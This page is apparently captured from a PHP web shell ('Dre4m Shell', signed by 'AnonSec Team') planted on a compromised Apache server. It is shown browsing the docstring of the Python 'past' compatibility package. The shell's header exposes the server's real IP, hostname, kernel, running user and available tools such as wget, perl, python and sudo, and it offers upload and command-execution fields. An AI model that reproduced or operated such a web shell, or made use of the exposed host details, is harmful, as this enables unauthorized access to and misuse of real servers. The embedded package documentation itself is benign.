Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.17.175.167
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/srv/modoboa/env/lib64/python3.5/site-packages/past/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/srv/modoboa/env/lib64/python3.5/site-packages/past/__init__.py
# coding=utf-8
"""
past: compatibility with Python 2 from Python 3
===============================================

``past`` is a package to aid with Python 2/3 compatibility. Whereas ``future``
contains backports of Python 3 constructs to Python 2, ``past`` provides
implementations of some Python 2 constructs in Python 3 and tools to import and
run Python 2 code in Python 3. It is intended to be used sparingly, as a way of
running old Python 2 code from Python 3 until the code is ported properly.

Potential uses for libraries:

- as a step in porting a Python 2 codebase to Python 3 (e.g. with the ``futurize`` script)
- to provide Python 3 support for previously Python 2-only libraries with the
  same APIs as on Python 2 -- particularly with regard to 8-bit strings (the
  ``past.builtins.str`` type).
- to aid in providing minimal-effort Python 3 support for applications using
  libraries that do not yet wish to upgrade their code properly to Python 3, or
  wish to upgrade it gradually to Python 3 style.


Here are some code examples that run identically on Python 3 and 2::

    >>> from past.builtins import str as oldstr

    >>> philosopher = oldstr(u'\u5b54\u5b50'.encode('utf-8'))
    >>> # This now behaves like a Py2 byte-string on both Py2 and Py3.
    >>> # For example, indexing returns a Python 2-like string object, not
    >>> # an integer:
    >>> philosopher[0]
    '\xe5'
    >>> type(philosopher[0])
    <past.builtins.oldstr>

    >>> # List-producing versions of range, reduce, map, filter
    >>> from past.builtins import range, reduce
    >>> range(10)
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
    >>> reduce(lambda x, y: x+y, [1, 2, 3, 4, 5])
    15

    >>> # Other functions removed in Python 3 are resurrected ...
    >>> from past.builtins import execfile
    >>> execfile('myfile.py')

    >>> from past.builtins import raw_input
    >>> name = raw_input('What is your name? ')
    What is your name? [cursor]

    >>> from past.builtins import reload
    >>> reload(mymodule)   # equivalent to imp.reload(mymodule) in Python 3

    >>> from past.builtins import xrange
    >>> for i in xrange(10):
    ...     pass


It also provides import hooks so you can import and use Python 2 modules like
this::

    $ python3

    >>> from past.translation import autotranslate
    >>> authotranslate('mypy2module')
    >>> import mypy2module

until the authors of the Python 2 modules have upgraded their code. Then, for
example::

    >>> mypy2module.func_taking_py2_string(oldstr(b'abcd'))


Credits
-------

:Author:  Ed Schofield, Jordan M. Adler, et al
:Sponsor: Python Charmers Pty Ltd, Australia: http://pythoncharmers.com


Licensing
---------
Copyright 2013-2019 Python Charmers Pty Ltd, Australia.
The software is distributed under an MIT licence. See LICENSE.txt.
"""

from future import __version__, __copyright__, __license__

__title__ = 'past'
__author__ = 'Ed Schofield'

Anon7 - 2022
AnonSec Team